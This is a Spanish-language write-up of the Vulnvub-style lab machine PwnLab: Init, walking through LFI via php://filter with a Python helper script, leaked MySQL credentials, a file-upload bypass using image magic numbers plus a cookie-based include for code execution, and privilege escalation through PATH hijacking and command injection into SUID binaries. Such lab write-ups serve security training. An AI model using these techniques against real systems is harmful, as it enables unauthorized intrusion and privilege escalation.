Buenas, soy @manulqwerty y hoy vamos a resolver una maquina muy interesante de Vulnhub.
La máquina es PwnLab: Init
WriteUp
Lo primero es iniciar la máquina y buscar la ip:
nmap -T4 192.168.1.0/24 # o bien netdiscover -i wlan0
En mi caso:
Enumeración
El primer paso será un escaneo de puertos con nmap:
nmap -sC -sV 192.168.1.37
Vemos que hay un servicio mysql que permite conexiones desde el exterior y un servicio web.
Echemosle un ojo a la web:
Como veis la URL es http://192.168.1.37/?page=login , que nada más verla me recordó a la máquina Crimestoppers de HackTheBox
Así que vamos a probar si podemos leer los php del servidor aprovechando los wrappers tal y como leemos en el lfi-cheat-sheet
curl http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=login
Como veis funciona, para automatizar el proceso nos haremos un pequeño script de python (https://github.com/manulqwerty/CTF-Stuff/blob/master/pwnlabinitLFI.py):
#!/usr/bin/python3 import requests import base64 import re def getPhpCode(filename): r = requests.get("http://192.168.1.37/?page=php://filter/convert.base64-encode/resource=" + filename); # looking for a base64 string result = re.search('PD9(.*?)</center>',r.text).group(1) b64 = "PD9"+result+"==" return base64.b64decode(b64) if __name__ == '__main__': while True: cmd = input("> ") try: output = getPhpCode(cmd) print(output.decode('unicode_escape')) except: if cmd == 'exit': break print("ERROR")
El primer fichero que leí fue el index.php:
En las primeras lineas vemos algo extraño, se incluye el fichero que se indique en la cookie lang:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>
Por ahora esto no nos sirve de mucho, pero si conseguimos subir un php, podemos ejecutarlo con esta cookie.
Continuemos leyendo los php del servidor con el fin de encontrar unas credenciales que nos sirvan
En el fichero config.php leemos las credenciales del mysql, al que podemos acceder remotamente:
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
Explotación
Una vez tenemos acceso a la subida de ficheros, tenemos que ver cómo subir un php ya que en principio solo permite imagenes:
<?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src="".$uploadfile.""><br />"; } else { die('Error 4'); } } } ?>
Como veis, se valida la extensión, el tipo y el magic number del fichero.
Así que debemos añadir los magic numbers de una imagen y entonces añadir el php.
Bien! Hemos conseguido subir la imagen que contiene el php; ahora podremos aprovechar la cookie lang para ejecutar esta imagen:
Post-Explotación
Ya tenemos shell, probemos las credenciales que obtuvimos en el mysql:
Como veis las de mike no funcionan; en la carpeta home de kane encontramos un fichero: msgmike con el bit suid activado
Vamos a descargarlo:
# En PwnLab: python -m SimpleHTTPServer 8000 # En el atacante: wget http://192.168.1.37:8000/msgmike
Abramoslo con radare2 para enterarnos mejor de lo que hace el programa:
Como veis, el programa ejecuta ‘cat /home/mike/msg.txt’ como mike
La forma de escalar a mike es creándonos un binario cat y modificando la variable de entorno PATH para que el sistema ejecute nuestro cat:
echo '/bin/bash' > cat echo $PATH export PATH=. ./msgmike export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Una vez somos mike, vemos otro fichero que nos permitirá escalar a root en /home/mike; descarguemoslo:
Esta vez vamos a abrilo con IDA PRO
El programa ejecuta ‘/bin/echo %s >> /root/messages.txt’ como root lo cual nos permite inyectar codigo bash que será ejecutado como root:
Ejecutemos una shell reversa para obtener shell como root:
Perfecto! Ya somos root:
Deja una respuesta